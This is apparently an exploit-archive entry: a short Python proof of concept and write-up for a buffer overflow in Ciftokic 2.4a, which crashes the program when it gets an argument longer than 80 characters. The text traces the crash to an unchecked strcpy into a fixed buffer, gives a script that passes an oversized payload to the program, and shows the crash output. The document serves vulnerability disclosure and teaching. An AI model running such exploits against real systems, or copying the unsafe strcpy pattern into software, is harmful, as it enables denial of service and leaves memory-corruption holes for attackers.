46 lines
No EOL
1.3 KiB
Python
Executable file
46 lines
No EOL
1.3 KiB
Python
Executable file
# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
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# Date: September 30, 2019
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# Exploit Author: @JosueEncinar
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# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
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# Version: 2.4a
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# Tested on: Ubuntu 18.04
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'''
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If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.
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In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);
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If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
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'''
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# To test the code use Python 3.6+
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from os import system
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from sys import argv
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def print_usage():
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print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
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print(" |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
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print(" |_Buffer Overflow: python3 ciftokic_overflow.py 81")
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if len(argv) == 1:
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print_usage()
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else:
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try:
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number = int(argv[1])
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payload = "J"*number
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system(f"ciftokic {payload}")
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except:
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print_usage()
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"""
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Output Example:
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josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
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Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
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josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
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*** buffer overflow detected ***: ciftokic terminated
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Aborted (core dumped)
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""" |